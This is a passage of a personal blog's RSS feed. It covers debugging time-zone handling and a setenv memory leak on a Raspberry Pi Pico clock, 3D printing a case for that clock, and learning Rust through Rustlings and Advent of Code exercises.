        <img src="https://deadlime.hu/uploads/2024/clion_setup_2.png" width="660" height="406" alt="" title="" loading="lazy" />
    </a>
</p>

<p>It's probably also worth setting up a deployment to make file synchronization work (although it won't, but we'll come back to that in a moment):</p>

<p class="image image-center">
    <a href="https://deadlime.hu/uploads/2024/clion_setup_3.png">
        <img src="https://deadlime.hu/uploads/2024/clion_setup_3.png" width="660" height="406" alt="" title="" loading="lazy" />
    </a>
</p>

<p class="image image-center">
    <a href="https://deadlime.hu/uploads/2024/clion_setup_4.png">
        <img src="https://deadlime.hu/uploads/2024/clion_setup_4.png" width="660" height="406" alt="" title="" loading="lazy" />
    </a>
</p>

<p>And finally, a debug configuration to run our code.</p>

<p class="image image-center">
    <a href="https://deadlime.hu/uploads/2024/clion_setup_5.png">
        <img src="https://deadlime.hu/uploads/2024/clion_setup_5.png" width="660" height="474" alt="" title="" loading="lazy" />
    </a>
</p>

<p>Here we have a few interesting bits worth mentioning. For GDB, I chose to run on the remote host, so the 'target remote' args can connect to localhost (gdb and openocd both run on the Pi). In the 'GDB Server args' area, the first two parameters (interface and target setting) used to be enough, the <code>adapter speed</code> is probably optional. And the <code>program</code>... well, that's an interesting story.</p>
<p>In an ideal world, the 'Upload Executable' part would be, say, 'If updated' instead of 'Never', but if that's turned on, it would try to use the file from the Windows machine, but that isn't there, because <a href="https://youtrack.jetbrains.com/issue/CPP-22619/CLion-2020.3-Resync-with-Remote-Hosts-no-longer-transfers-built-ELF-files-back-to-local-computer">ELF files generated on the Pi aren't synced by CLion</a>.</p>
<p>If I turn off the setting mentioned in the ticket and hit Tools &gt; Resync with Remote Host, it does download the ELF file, but somehow it still doesn't end up on the Pico. Based on the output, it looks like it's starting to do it, but ultimately nothing happens. I wonder why it even needs to download it (and then upload it back to the Pi) if everything is already there? A mystery.</p>
<p>So I'd rather call the <code>program</code> manually, but that way the <code>reset</code> breaks the connection to the debugger, which is not so nice if you want to... you know... debug. I ended up making two configurations, one that can upload (<code>program</code> part included) and the other that can only debug (no <code>program</code> part). It's not an ideal solution, but it works.</p>
<p>The console output of our Pico can be accessed by running <code>minicom -b 115200 -o -D /dev/ttyACM0</code> on the Pi.</p>
<h3>The right time</h3>
<p>In the Python version, we connected to Wi-Fi and obtained the time from an NTP server. Now we need to do the same with the C SDK. In reality, this was done before the Python version, but let's ignore that.</p>
<p>First of all, the SNTP module needs some configuration in the <code>CMakeLists.txt</code> file:</p>
<pre><code class="hljs cmake"><span class="hljs-keyword">add_definitions</span>(
  -DSNTP_SERVER_DNS=<span class="hljs-number">1</span>
  -DSNTP_SERVER_ADDRESS=<span class="hljs-string">"hu.pool.ntp.org"</span>
  -DSNTP_SET_SYSTEM_TIME=sntp_set_system_time
  -DSNTP_STARTUP_DELAY=<span class="hljs-number">0</span>
)
</code></pre>
<p>The <code>sntp_set_system_time</code> part is a C function that we have to define. We'll also need some libraries from the SDK:</p>
<pre><code class="hljs cmake"><span class="hljs-keyword">target_link_libraries</span>(
  pico-clock
  hardware_rtc
  pico_cyw43_arch_lwip_threadsafe_background
  pico_lwip_sntp
  pico_stdlib
  pico_time
)
</code></pre>
<p>The function mentioned before to handle the time we get from the NTP server:</p>
<pre><code class="hljs arduino"><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">"hardware/rtc.h"</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">"lwip/apps/sntp.h"</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">"pico/cyw43_arch.h"</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">"pico/stdlib.h"</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">"pico/time.h"</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">"pico/util/datetime.h"</span></span>

<span class="hljs-keyword">bool</span> sntp_finished = <span class="hljs-literal">false</span>;

<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">sntp_set_system_time</span><span class="hljs-params">(<span class="hljs-keyword">uint32_t</span> sec)</span> </span>{
  <span class="hljs-keyword">datetime_t</span> datetime;
  time_to_datetime(sec, &amp;datetime);

  rtc_set_datetime(&amp;datetime);

  sntp_stop();
  cyw43_arch_disable_sta_mode();

  sntp_finished = <span class="hljs-literal">true</span>;
}
</code></pre>
<p>We turn off the SNTP module and disconnect from the Wi-Fi after the successful time synchronization. Now we just need to start the whole thing:</p>
<pre><code class="hljs arduino"><span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span> </span>{
  stdio_init_all();
  cyw43_arch_init_with_country(CYW43_COUNTRY_HUNGARY);
  rtc_init();

  cyw43_arch_enable_sta_mode();
  <span class="hljs-keyword">while</span> (cyw43_arch_wifi_connect_timeout_ms(<span class="hljs-string">"SSID"</span>, <span class="hljs-string">"secret"</span>, CYW43_AUTH_WPA2_AES_PSK, <span class="hljs-number">30000</span>)) {
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"failed to connect.\n"</span>);
  }

  sntp_setoperatingmode(SNTP_OPMODE_POLL);
  sntp_init();

  <span class="hljs-keyword">while</span> (!sntp_finished) {
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"waiting for time.\n"</span>);
    sleep_ms(<span class="hljs-number">100</span>);
  }

  <span class="hljs-keyword">datetime_t</span> now_utc;
  <span class="hljs-keyword">char</span> datetime_buf[<span class="hljs-number">256</span>];

  <span class="hljs-keyword">while</span> (<span class="hljs-literal">true</span>) {
    rtc_get_datetime(&amp;now_utc);
    datetime_to_str(&amp;datetime_buf[<span class="hljs-number">0</span>], <span class="hljs-keyword">sizeof</span>(datetime_buf) / <span class="hljs-keyword">sizeof</span>(<span class="hljs-keyword">char</span>), &amp;now_utc);
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"%s\n"</span>, datetime_buf);
    sleep_ms(<span class="hljs-number">1000</span>);
  }
}
</code></pre>
<p>If all's well, the Pico connects to the Internet, talks to the NTP server and we start to see the time on the console every second:</p>
<pre class="console"><code>Tuesday 27 August 20:47:13 2024
Tuesday 27 August 20:47:14 2024
Tuesday 27 August 20:47:15 2024
...
</code></pre>
<p>The only problem is that it's in UTC, so we need a solution to convert it to our local time.</p>
<h3>My time with the time zones</h3>
<p>A desktop clock wouldn't be worth much if it could only display the time in UTC. We receive a Unix timestamp from the NTP server, but the RTC (Real-time clock) module already expects a <code>datetime_t</code> struct and it returns one as well, so we need to use that when displaying the time.</p>
<p>In theory, <code>mktime</code> can make a Unix timestamp from a date and time struct, and <code>localtime</code> can make a date and time struct in the appropriate time zone from a Unix timestamp. The <code>pico/util/datetime.h</code> part of the SDK also provides some helper functions we will use, but they are just wrappers around <code>mktime</code> and <code>localtime</code>. <code>datetime_to_time</code> turns a <code>datetime_t</code> into a Unix timestamp, and <code>time_to_datetime</code> turns a Unix timestamp into local time (in a <code>datetime_t</code>).</p>
<p>But there's a little twist. Both directions work with local time and we need to be able to tell one to work from UTC, and the other to use the time zone we are currently in. But how could we achieve this?</p>
<p>The only starting point I had was the <code>tzdata</code> package, which contains time zone data files. Maybe I can find something there, like uploading the contents of a time zone file to the Pico somehow. This did not lead to the solution, but I found out that the time zone names we use (like <code>Europe/Budapest</code>) are actual files in the <code>/usr/share/zoneinfo</code> directory.</p>
<p>I also ran into the environment variable called <code>TZ</code>, whose value could be, say, <code>Europe/Budapest</code>, which we now know is actually the file <code>/usr/share/zoneinfo/Europe/Budapest</code>, so it's a dead end. Or is it?</p>
<p>After a bit more searching I found <a href="https://sourceware.org/glibc/manual/2.42/html_node/TZ-Variable.html">a manual</a> with the information I needed: the <code>TZ</code> variable isn't for just file paths, it can contain a time zone definition as well. Based on the manual and the information on the <a href="https://en.wikipedia.org/wiki/Daylight_saving_time_by_country">related Wikipedia page</a> the definition of <code>Europe/Budapest</code> would look something like this:</p>
<pre><code>TZ=CET-1CEST,M3.5.0/2,M10.5.0/3
</code></pre>
<p>The base time zone is <code>CET</code> which we need to subtract one hour from to get the <code>UTC</code> time. The period of summer daylight saving is called <code>CEST</code>. Summer daylight saving starts on the last Sunday of March (<code>M3.5.0</code>) at 1 AM <code>UTC</code> which is 2 AM in <code>CET</code> (because this format requires the local time). The end of summer daylight saving is the last Sunday of October (<code>M10.5.0</code>), at 1 AM <code>UTC</code> as well, which is 3 AM in <code>CEST</code>.</p>
<p>If I understand this correctly then the time zone file would give you more rules if they changed in the past or will change in the future. For example, if you run a <code>zdump -v Europe/Budapest | less</code> command, then you can see that in 1916 the start of summer daylight saving was the last Sunday of April at 11 PM.</p>
<p>With this power we can convert the time from the RTC module to the correct local time, we just need to adjust the value of the <code>TZ</code> variable before the <code>datetime_to_time</code> and <code>time_to_datetime</code> calls.</p>
<pre><code class="hljs arduino"><span class="hljs-keyword">datetime_t</span> now_utc;
<span class="hljs-keyword">datetime_t</span> now_local_time;
<span class="hljs-keyword">char</span> datetime_buf[<span class="hljs-number">256</span>];

<span class="hljs-keyword">while</span> (<span class="hljs-literal">true</span>) {
  rtc_get_datetime(&amp;now_utc);

  setenv(<span class="hljs-string">"TZ"</span>, <span class="hljs-string">"UTC"</span>, <span class="hljs-number">1</span>);
  <span class="hljs-keyword">time_t</span> timestamp;
  datetime_to_time(&amp;now_utc, &amp;timestamp);

  setenv(<span class="hljs-string">"TZ"</span>, <span class="hljs-string">"CET-1CEST,M3.5.0/2,M10.5.0/3"</span>, <span class="hljs-number">1</span>);
  time_to_datetime(timestamp, &amp;now_local_time);

  datetime_to_str(&amp;datetime_buf[<span class="hljs-number">0</span>], <span class="hljs-keyword">sizeof</span>(datetime_buf) / <span class="hljs-keyword">sizeof</span>(<span class="hljs-keyword">char</span>), &amp;now_utc);
  <span class="hljs-built_in">printf</span>(<span class="hljs-string">"utc time:   %s\n"</span>, datetime_buf);
  datetime_to_str(&amp;datetime_buf[<span class="hljs-number">0</span>], <span class="hljs-keyword">sizeof</span>(datetime_buf) / <span class="hljs-keyword">sizeof</span>(<span class="hljs-keyword">char</span>), &amp;now_local_time);
  <span class="hljs-built_in">printf</span>(<span class="hljs-string">"local time: %s\n"</span>, datetime_buf);

  sleep_ms(<span class="hljs-number">1000</span>);
}
</code></pre>
<p>Everything looks good... on the first iteration.</p>
<pre class="console"><code>utc time:   Tuesday 27 August 21:02:03 2024
local time: Tuesday 27 August 23:02:03 2024
utc time:   Tuesday 27 August 21:02:04 2024
local time: Tuesday 27 August 21:02:04 2024
utc time:   Tuesday 27 August 21:02:05 2024
local time: Tuesday 27 August 21:02:05 2024
</code></pre>
<p>But only on the first iteration, then it went downhill. It looks like the two functions are somehow stepping on each other's toes. I checked out multiple implementations of the two functions but I couldn't find out the problem. In the end, I went with a 'hotfix' instead of a proper solution: I found an <code>mktime</code> implementation in the <a href="https://github.com/torvalds/linux/blob/v6.10/kernel/time/time.c#L449">Linux kernel source</a> that doesn't care about time zones and things started to work.</p>
<p>The real enlightenment came when I was writing this post and re-read the <code>TZ</code> documentation. Maybe it just needs to know how much is the difference compared to UTC even if we want UTC? This, fortunately, solved the problem, I had to replace the <code>setenv(&quot;TZ&quot;, &quot;UTC&quot;, 1)</code> part with <code>setenv(&quot;TZ&quot;, &quot;UTC+0&quot;, 1)</code>. The plain <code>UTC</code> would probably refer to the file <code>/usr/share/zoneinfo/UTC</code>, which we don't have here.</p>
<pre class="console"><code>utc time:   Tuesday 27 August 21:08:56 2024
local time: Tuesday 27 August 23:08:56 2024
utc time:   Tuesday 27 August 21:08:57 2024
local time: Tuesday 27 August 23:08:57 2024
utc time:   Tuesday 27 August 21:08:58 2024
local time: Tuesday 27 August 23:08:58 2024
...
</code></pre>
<p>Everything was nice but after like 10 minutes the clock started to display UTC time again. You can question my definition of a fun hobby project at this point. I know I did.</p>
<p>I fired up the debugger, but at one point I only saw assembly code in CLion, so I had to get the source. After a bit of research, I found out that the <a href="https://sourceware.org/newlib/">Newlib</a> C standard library provides the <code>mktime</code> and <code>localtime</code> functions (among many others).</p>
<p>I ran a <code>sudo apt install newlib-source</code> command on the Pi and got the source in the <code>/usr/src/newlib/newlib-3.3.0.tar.xz</code> file so I could point the CLion in the right direction. In the deepest parts of this library I found out that when the <code>localtime</code> tries to load the value of the <code>TZ</code> variable, there is nothing there. This made the <code>setenv</code> function to the new suspect. We call it, obviously but it didn't do its thing after the 6000th run or so.</p>
<p>After another long search, I arrived at this part of the code:</p>
<pre><code class="hljs arduino">  <span class="hljs-keyword">if</span> (!((*p_environ)[offset] =  <span class="hljs-comment">/* name + `=' + value */</span>
  _malloc_r (reent_ptr, (<span class="hljs-keyword">size_t</span>) ((<span class="hljs-keyword">int</span>) (C - name) + l_value + <span class="hljs-number">2</span>))))
    {
      ENV_UNLOCK;
      <span class="hljs-keyword">return</span> <span class="hljs-number">-1</span>;
    }
</code></pre>
<p>I verified that the <code>setenv</code> really returns <code>-1</code> at the point when everything goes wrong. I'm not a C expert, but based on that <code>malloc</code> I jumped to the conclusion that we ran out of memory. I made a little program to try this out:</p>
<pre><code class="hljs arduino"><span class="hljs-keyword">int</span> counter = <span class="hljs-number">0</span>;
<span class="hljs-keyword">int</span> res;
<span class="hljs-keyword">while</span> (<span class="hljs-literal">true</span>) {
  res = setenv(<span class="hljs-string">"TZ"</span>, <span class="hljs-string">"UTC+0"</span>, <span class="hljs-number">1</span>);
  <span class="hljs-keyword">if</span> (res == <span class="hljs-number">-1</span>) {
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"oops: %d\n"</span>, counter);
    <span class="hljs-keyword">break</span>;
  }

  res = setenv(<span class="hljs-string">"TZ"</span>, <span class="hljs-string">"CET-1CEST,M3.5.0/2,M10.5.0/3"</span>, <span class="hljs-number">1</span>);
  <span class="hljs-keyword">if</span> (res == <span class="hljs-number">-1</span>) {
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"oops: %d\n"</span>, counter);
    <span class="hljs-keyword">break</span>;
  }
  ++counter;
}
</code></pre>
<p>As expected, I got the message:</p>
<pre class="console"><code>oops: 5217
</code></pre>
<p>I was wasting my time with the <code>mktime</code> and <code>localtime</code> source code, the problem was the <code>setenv</code> function all along. If we take a <a href="https://sourceware.org/git/?p=newlib-cygwin.git;a=blob;f=newlib/libc/stdlib/setenv_r.c;h=84d87a6ed2da72fe1a7ef1cf82a23518fb5f2220;hb=HEAD#l50">look at the code</a> we can see if the new value of the environment variable is longer than the old value we allocate a new chunk of memory that will not be freed. And our code does almost nothing else than setting a longer value for an environment variable. What if we keep the two values on the same length? Would it work? I filled the shorter one with extra spaces and tried it out.</p>
<pre><code class="hljs arduino"><span class="hljs-keyword">int</span> counter = <span class="hljs-number">0</span>;
<span class="hljs-keyword">int</span> res;
<span class="hljs-keyword">while</span> (<span class="hljs-literal">true</span>) {
  res = setenv(<span class="hljs-string">"TZ"</span>, <span class="hljs-string">"UTC+0                       "</span>, <span class="hljs-number">1</span>);
  <span class="hljs-keyword">if</span> (res == <span class="hljs-number">-1</span>) {
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"oops: %d\n"</span>, counter);
    <span class="hljs-keyword">break</span>;
  }

  res = setenv(<span class="hljs-string">"TZ"</span>, <span class="hljs-string">"CET-1CEST,M3.5.0/2,M10.5.0/3"</span>, <span class="hljs-number">1</span>);
  <span class="hljs-keyword">if</span> (res == <span class="hljs-number">-1</span>) {
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"oops: %d\n"</span>, counter);
    <span class="hljs-keyword">break</span>;
  }
  ++counter;
}
</code></pre>
<p>No more <code>oops</code> from this one, the problem is solved, so I can put the time conversion part back and check out if everything still works.</p>
<pre class="console"><code>utc time:   Tuesday 27 August 21:38:21 2024
local time: Tuesday 27 August 22:38:21 2024
utc time:   Tuesday 27 August 21:38:22 2024
local time: Tuesday 27 August 22:38:22 2024
utc time:   Tuesday 27 August 21:38:23 2024
local time: Tuesday 27 August 22:38:23 2024
...
</code></pre>
<p>This is something new. We lost an hour somewhere. At this point, I had already acquired enough routine to suspect that <code>mktime</code> could not interpret the <code>TZ</code> value correctly because of all the extra spaces. I put an extra comma after <code>UTC+0</code>, to see if that would soften the parser's heart of stone...</p>
<pre><code class="hljs arduino">setenv(<span class="hljs-string">"TZ"</span>, <span class="hljs-string">"UTC+0,                      "</span>, <span class="hljs-number">1</span>);
</code></pre>
<p>... and to my surprise, it worked!</p>
<pre class="console"><code>utc time:   Tuesday 27 August 21:39:22 2024
local time: Tuesday 27 August 23:39:22 2024
utc time:   Tuesday 27 August 21:39:23 2024
local time: Tuesday 27 August 23:39:23 2024
utc time:   Tuesday 27 August 21:39:24 2024
local time: Tuesday 27 August 23:39:24 2024
...
</code></pre>
<p>Huge success. After several days of <del>suffering</del> fun and laughter, we finally got the Pico clock to show the correct local time. Hopefully, it will handle the end of the summer daylight saving properly. We'll see on the last Sunday in October. Maybe we will have some nice output on the LCD display by then.</p>

]]></content:encoded>
        </item>
            <item>
            <title>Time in a Box</title>
            <link>https://deadlime.hu/en/2024/07/28/time-in-a-box/</link>
            <pubDate>Sun, 28 Jul 2024 17:08:23 +0000</pubDate>
            
            <dc:creator><![CDATA[Nagy Krisztián]]></dc:creator>
                    <category><![CDATA[3D printing]]></category>
                    <category><![CDATA[Blender]]></category>
                    <category><![CDATA[hardware]]></category>
                    
            <guid isPermaLink="false">2e653882359891d9b48327ef438cd55e</guid>
            <description>Designing a case for a Raspberry Pi Pico-based desk clock</description>
            <content:encoded><![CDATA[<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2024/3d_printing.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>
<p class="image-caption">Did I just print that for the sake of a pun? Maybe...</p>

<p>I've been thinking about getting a 3D printer for a long time, but I wanted something closer to the end-user experience, like a 2D printer. I didn't want to start building 3D printers as a hobby, I just wanted to print.</p>
<p>Then I discovered Bambu Lab's printers, which seemed to be just like that. I was hesitating between the A1 and P1 product lines, finally settling on the A1 (without the AMS lite), thinking that as a first printer, the cheaper one would do. The main difference is that it is not recommended to print ABS with the A1, but for now, that doesn't really bother me.</p>
<p>Obviously, when it arrived I printed out all the silly things I could download from the Internet, but one of the reasons I convinced myself I might need a 3D printer was so I could print parts for my little hardware projects. One such project is the <a href="https://deadlime.hu/en/2023/12/28/the-time-has-not-yet-come/">Pico-based clock</a>, which hasn't changed much in software since then, but now has a half-baked box. Let's have a look at how it was made.</p>
<h3>Design</h3>
<p>I'm quite familiar with Blender, so I started to put the box together using that, but I probably would have been better off learning some CAD software instead. It's not impossible to do this kind of thing in Blender, but it's not what it's designed for.</p>

<p class="image image-center">
    <a href="https://deadlime.hu/uploads/2024/blender_full.jpg">
        <img src="https://deadlime.hu/uploads/2024/blender_small.jpg" width="660" height="660" alt="" title="" loading="lazy" />
    </a>
</p>
<p class="image-caption">Click for the bigger picture!</p>

<p>I also searched for my old digital caliper, but the digital part wasn't working anymore (luckily it still worked as an analog caliper), so I couldn't measure things accurately enough.</p>
<h3>Execution</h3>
<p>First, I printed a frame around the display... then a couple more, because of the measurement problems mentioned above.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2024/box1.jpg" width="660" height="720" alt="" title="" loading="lazy" />
</p>

<p>You can't really see the differences with the naked eye. I adjusted tenths of millimeters (that's like 4 thou for the US folks out there) until I finally got the exact fit.</p>
<p>The next step was to place the buttons. At first, I thought it would be part of the printed case, but the buttons were too small and the PLA isn't suitable for this kind of use.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2024/box2.jpg" width="660" height="630" alt="" title="" loading="lazy" />
</p>

<p>Once the buttons were in place (I made about 3-4 versions of them to fit the holes properly), I had a roughly finished front element that fit the electronics perfectly.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2024/box3.jpg" width="660" height="660" alt="" title="" loading="lazy" />
</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2024/box4.jpg" width="660" height="660" alt="" title="" loading="lazy" />
</p>

<p>Now the back half. Here I had multiple problems with the holes for the screws.</p>
<p>I was planning to put threaded inserts in the front, the screws would have just gone through the back, but the package didn't arrive in time, so I ended up with holes that were small enough that the M2 screws can cut the threads for themselves. This will do for the first version.</p>
<p>The other problem was the position of the holes, they had to be in the same place as the holes in the corners of the PCB to eventually screw the two parts together.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2024/box5.jpg" width="660" height="630" alt="" title="" loading="lazy" />
</p>

<p>Same deal as with the display frame, but in this case my first guess was about half a millimeter off. In the end, I had to cut a bit more off the corners, because the back was too high for my longest screw to reach through.</p>
<p>Next came the USB location. For this, I just printed a small part of the back again and again until I found the exact position.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2024/box6.jpg" width="660" height="1200" alt="" title="" loading="lazy" />
</p>

<p>After the first version, I also cut back on the details to reduce printing time.</p>
<p>And here we are with the first version. It's not that good-looking, but all the measurements are right, and I'll be able to make it more pretty in the next version if I can still make sense of the Blender model.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2024/box7.jpg" width="660" height="330" alt="" title="" loading="lazy" />
</p>
<p class="image-caption">Although you can't see it in the picture, there's a small hole under the USB, through which you can also reach the <a href="https://shop.pimoroni.com/products/pico-lipo-shim">LiPo SHIM</a> on/off button.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2024/box8.jpg" width="660" height="570" alt="" title="" loading="lazy" />
</p>
<p class="image-caption">The buttons got small lettering, but the 0.4 mm nozzle couldn't handle it properly.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2024/box9.jpg" width="660" height="600" alt="" title="" loading="lazy" />
</p>
<p class="image-caption">The familiar retro backlight and last year's fake interface.</p>

<p>All in all, 3D printing is great fun, what I might do differently in hindsight is not to start without a working digital caliper to produce less plastic junk during the project. And I'd try to get myself to take a closer look at some CAD software.</p>

]]></content:encoded>
        </item>
            <item>
            <title>Machine whisperer</title>
            <link>https://deadlime.hu/en/2024/02/29/machine-whisperer/</link>
            <pubDate>Thu, 29 Feb 2024 19:05:30 +0000</pubDate>
            
            <dc:creator><![CDATA[Nagy Krisztián]]></dc:creator>
                    <category><![CDATA[programming]]></category>
                    <category><![CDATA[Rust]]></category>
                    
            <guid isPermaLink="false">ca7bc7ea5f18704ceac64ca9d0f88fa6</guid>
            <description>Getting those brain gears turning with some Rust</description>
            <content:encoded><![CDATA[<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2024/robots.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>Let's talk a little about language learning. Well, not about learning the weird languages that humanoids use among themselves, but rather about learning programming languages.</p>
<p>I've been checking out Rust for a while now, so when I read on a game developer blog that it was written in Rust, I started looking into it again. I read about game engines for Rust and tried out some sample code, but I'm aware of my limitations (as a developer, but even more so as a graphic designer), I wouldn't start developing a game, especially in a language I don't even know well.</p>
<p>So I went into more familiar waters and looked at what web frameworks were out there, and got quite a long way in reading the documentation of <a href="https://rocket.rs/">one of the more sympathetic ones</a> when I started having trouble fully understanding the example codes. Maybe going back to the basics wouldn't hurt.</p>
<p>Nowadays, the Internet is full of online courses and videos, but I'm leaning towards the more traditional means of learning, so I went with the <a href="https://doc.rust-lang.org/book/">official Rust book</a>. I got about halfway through when I was getting really bored of reading and not programming.</p>
<p>I also found this <a href="https://rustlings.cool/">&quot;exercise book&quot; like collection</a>, where most of the code is already written, you just have to get it to compile or the tests to turn green. I think the basic idea is very good, I have come across something like this for other languages in the past.</p>
<p>The only problem is that I tend to switch from learning mode to problem-solving mode for these kinds of tasks, which is great for getting through this &quot;game&quot; quickly, but not really helpful for deeper understanding.</p>
<p>I did manage to slow down in a few places, where I either couldn't solve the task after several attempts or couldn't even figure out where start, so I needed to read the documentation a bit. The first solutions often didn't turn out great, obviously, I don't know the tools provided by the language, so I work with what I have (or what I learned a few exercises ago). For example, my first solution for the <a href="https://github.com/rust-lang/rustlings/blob/5.6.1/exercises/hashmaps/hashmaps3.rs"><code>hashmaps/hashmaps3.rs</code> level</a> turned out something like this:</p>
<pre><code class="hljs rust"><span class="hljs-keyword">match</span> scores.get_mut(&amp;team_1_name) {
  <span class="hljs-built_in">Option</span>::<span class="hljs-literal">Some</span>(team) =&gt; {
    team.goals_scored += team_1_score;
    team.goals_conceded += team_2_score;
  }
  <span class="hljs-built_in">Option</span>::<span class="hljs-literal">None</span> =&gt; {
    scores.insert(
      team_1_name.clone(),
      Team { goals_scored: team_1_score, goals_conceded: team_2_score }
    );
  }
}
<span class="hljs-keyword">match</span> scores.get_mut(&amp;team_2_name) {
  <span class="hljs-built_in">Option</span>::<span class="hljs-literal">Some</span>(team) =&gt; {
    team.goals_scored += team_2_score;
    team.goals_conceded += team_1_score;
  }
  <span class="hljs-built_in">Option</span>::<span class="hljs-literal">None</span> =&gt; {
    scores.insert(
      team_2_name.clone(),
      Team { goals_scored: team_2_score, goals_conceded: team_1_score }
    );
  }
}
</code></pre>
<p>Then I found out about <a href="https://doc.rust-lang.org/std/collections/struct.HashMap.html#method.entry">the <code>entry</code> function of the <code>HashMap</code></a> and <a href="https://doc.rust-lang.org/std/collections/hash_map/enum.Entry.html#method.or_insert">the <code>or_insert</code> function of the <code>Entry</code></a>, which greatly simplified the above code:</p>
<pre><code class="hljs rust"><span class="hljs-keyword">let</span> team = scores.entry(team_1_name)
                 .or_insert(Team { goals_scored: <span class="hljs-number">0</span>, goals_conceded: <span class="hljs-number">0</span> });
team.goals_scored += team_1_score;
team.goals_conceded += team_2_score;

<span class="hljs-keyword">let</span> team = scores.entry(team_2_name)
                 .or_insert(Team { goals_scored: <span class="hljs-number">0</span>, goals_conceded: <span class="hljs-number">0</span> });
team.goals_scored += team_2_score;
team.goals_conceded += team_1_score;
</code></pre>
<p>Later, the <code>Team</code> got some extra functions...</p>
<pre><code class="hljs rust"><span class="hljs-keyword">impl</span> Team {
  <span class="hljs-function"><span class="hljs-keyword">fn</span> <span class="hljs-title">new</span></span>() -&gt; <span class="hljs-keyword">Self</span> { Team { goals_scored: <span class="hljs-number">0</span>, goals_conceded: <span class="hljs-number">0</span> } }
  <span class="hljs-function"><span class="hljs-keyword">fn</span> <span class="hljs-title">add</span></span>(&amp;<span class="hljs-keyword">mut</span> <span class="hljs-keyword">self</span>, scored: <span class="hljs-built_in">u8</span>, conceded: <span class="hljs-built_in">u8</span>) {
    <span class="hljs-keyword">self</span>.goals_scored += scored;
    <span class="hljs-keyword">self</span>.goals_conceded += conceded;
  }
}
</code></pre>
<p>...and this was my final solution:</p>
<pre><code class="hljs rust">scores.entry(team_1_name)
      .or_insert(Team::new())
      .add(team_1_score, team_2_score);
scores.entry(team_2_name)
      .or_insert(Team::new())
      .add(team_2_score, team_1_score);
</code></pre>
<p>After I had finished with the Rustlings levels, I had to look for a new task. A web development project still felt like too much to handle. Back when I was learning Python, I used to solve <a href="https://projecteuler.net/">Project Euler</a> problems for practice. I went on with a similar idea now as well.</p>
<p>I (also) started the <a href="https://adventofcode.com/2023">Advent of Code 2023</a> last December and although I didn't get very far, I got solutions for the first few days in PHP (I like mixing things up) that I can reimagine in Rust.</p>
<p>Existing solutions are not a prerequisite for the Advent of Code exercises to be useful for some programming practice, but I personally don't like having two distractions at once: one is that I don't know how to solve the exercise yet, and the other is that I don't know Rust. That usually just leads to frustration and makes you lose interest in the whole thing.</p>
<p>Obviously, there are a lot of Advent of Code solutions on the Internet, but then you spend time trying to understand other people's code, so it may be better to go with your own solution.</p>
<p>Below is the solution for the first half of <a href="https://adventofcode.com/2023/day/1">the first day</a>, I think it turned out quite Rust-like:</p>
<pre><code class="hljs rust"><span class="hljs-keyword">use</span> std::fs;

<span class="hljs-function"><span class="hljs-keyword">fn</span> <span class="hljs-title">main</span></span>() {
  <span class="hljs-keyword">let</span> sum: <span class="hljs-built_in">u32</span> = fs::read_to_string(<span class="hljs-string">"data/input_1.txt"</span>).unwrap()
    .lines()
    .map(calibration_value)
    .sum();

  <span class="hljs-built_in">println!</span>(<span class="hljs-string">"{:?}"</span>, sum);
}

<span class="hljs-function"><span class="hljs-keyword">fn</span> <span class="hljs-title">calibration_value</span></span>(line: &amp;<span class="hljs-built_in">str</span>) -&gt; <span class="hljs-built_in">u32</span> {
  <span class="hljs-keyword">let</span> numbers: <span class="hljs-built_in">Vec</span>&lt;<span class="hljs-built_in">u32</span>&gt; = line.chars()
    .filter_map(|c| c.to_digit(<span class="hljs-number">10</span>))
    .collect();

  numbers.first().unwrap() * <span class="hljs-number">10</span> + numbers.last().unwrap()
}
</code></pre>
<p>It's worth comparing it to my PHP solution, which is... how shall I put it... a bit less elegant (but at the time the goal was to solve the problem, not to write beautiful idiomatic PHP code):</p>
<pre><code class="hljs php"><span class="hljs-meta">&lt;?php</span>

$sum = <span class="hljs-number">0</span>;
<span class="hljs-keyword">foreach</span> (file(<span class="hljs-string">'input_1.txt'</span>) <span class="hljs-keyword">as</span> $line) {
  $data = trim($line);
  preg_match(<span class="hljs-string">'/^.*?(?P&lt;digit&gt;[0-9])/'</span>, $data, $m);
  $firstDigit = $m[<span class="hljs-string">'digit'</span>];
  preg_match(<span class="hljs-string">'/.*(?P&lt;digit&gt;[0-9]).*?$/'</span>, $data, $m);
  $lastDigit = $m[<span class="hljs-string">'digit'</span>];

  $sum += intval($firstDigit . $lastDigit);
}

<span class="hljs-keyword">print</span>(<span class="hljs-string">"$sum\n"</span>);
</code></pre>
